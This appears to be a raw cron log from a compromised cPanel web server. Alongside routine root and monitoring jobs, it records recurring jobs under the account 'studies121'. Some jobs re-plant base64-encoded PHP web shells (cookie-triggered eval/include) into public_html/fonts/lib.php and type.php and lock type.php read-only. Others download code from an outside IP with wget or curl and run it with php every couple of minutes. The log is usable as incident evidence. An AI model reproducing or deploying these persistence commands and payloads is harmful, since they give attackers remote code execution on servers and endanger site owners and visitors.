Aug 30 11:42:01 ip-184-168-122-23 CROND[5673]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 11:42:01 ip-184-168-122-23 CROND[5675]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 11:42:01 ip-184-168-122-23 CROND[5674]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:43:01 ip-184-168-122-23 CROND[5767]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 11:43:01 ip-184-168-122-23 CROND[5770]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:43:01 ip-184-168-122-23 CROND[5769]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:43:01 ip-184-168-122-23 CROND[5771]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 11:44:01 ip-184-168-122-23 CROND[5856]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 11:44:01 ip-184-168-122-23 CROND[5858]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:44:01 ip-184-168-122-23 CROND[5860]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 11:44:01 ip-184-168-122-23 CROND[5861]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 11:44:01 ip-184-168-122-23 CROND[5859]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:45:01 ip-184-168-122-23 CROND[5946]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 11:45:01 ip-184-168-122-23 CROND[5947]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:45:01 ip-184-168-122-23 CROND[5950]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 11:45:01 ip-184-168-122-23 CROND[5953]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 11:45:01 ip-184-168-122-23 CROND[5952]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:45:01 ip-184-168-122-23 CROND[5951]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 11:46:02 ip-184-168-122-23 CROND[6055]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 11:46:02 ip-184-168-122-23 CROND[6056]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 11:46:02 ip-184-168-122-23 CROND[6060]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 11:46:02 ip-184-168-122-23 CROND[6059]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:46:02 ip-184-168-122-23 CROND[6061]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 11:46:02 ip-184-168-122-23 CROND[6063]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:46:02 ip-184-168-122-23 CROND[6062]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 30 11:47:01 ip-184-168-122-23 CROND[6156]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:47:01 ip-184-168-122-23 CROND[6158]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 11:47:01 ip-184-168-122-23 CROND[6159]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:47:01 ip-184-168-122-23 CROND[6157]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 11:48:01 ip-184-168-122-23 CROND[6332]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 11:48:01 ip-184-168-122-23 CROND[6336]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 11:48:01 ip-184-168-122-23 CROND[6335]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 11:48:01 ip-184-168-122-23 CROND[6334]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:48:01 ip-184-168-122-23 CROND[6337]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:49:01 ip-184-168-122-23 CROND[6422]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 11:49:01 ip-184-168-122-23 CROND[6423]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:49:01 ip-184-168-122-23 CROND[6425]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 11:49:01 ip-184-168-122-23 CROND[6427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:50:02 ip-184-168-122-23 CROND[6512]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 11:50:02 ip-184-168-122-23 CROND[6513]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 11:50:02 ip-184-168-122-23 CROND[6519]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:50:02 ip-184-168-122-23 CROND[6518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 11:50:02 ip-184-168-122-23 CROND[6521]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 11:50:02 ip-184-168-122-23 CROND[6520]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 11:50:02 ip-184-168-122-23 CROND[6523]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 11:50:02 ip-184-168-122-23 CROND[6524]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 11:50:02 ip-184-168-122-23 CROND[6522]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:51:01 ip-184-168-122-23 CROND[6613]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 11:51:01 ip-184-168-122-23 CROND[6614]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:51:01 ip-184-168-122-23 CROND[6617]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:51:01 ip-184-168-122-23 CROND[6616]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 11:52:01 ip-184-168-122-23 CROND[6699]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 11:52:01 ip-184-168-122-23 CROND[6700]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 11:52:01 ip-184-168-122-23 CROND[6702]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 11:52:01 ip-184-168-122-23 CROND[6701]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:52:01 ip-184-168-122-23 CROND[6703]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:53:01 ip-184-168-122-23 CROND[6796]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:53:01 ip-184-168-122-23 CROND[6798]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 11:53:01 ip-184-168-122-23 CROND[6799]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:53:01 ip-184-168-122-23 CROND[6800]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 11:54:01 ip-184-168-122-23 CROND[6956]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
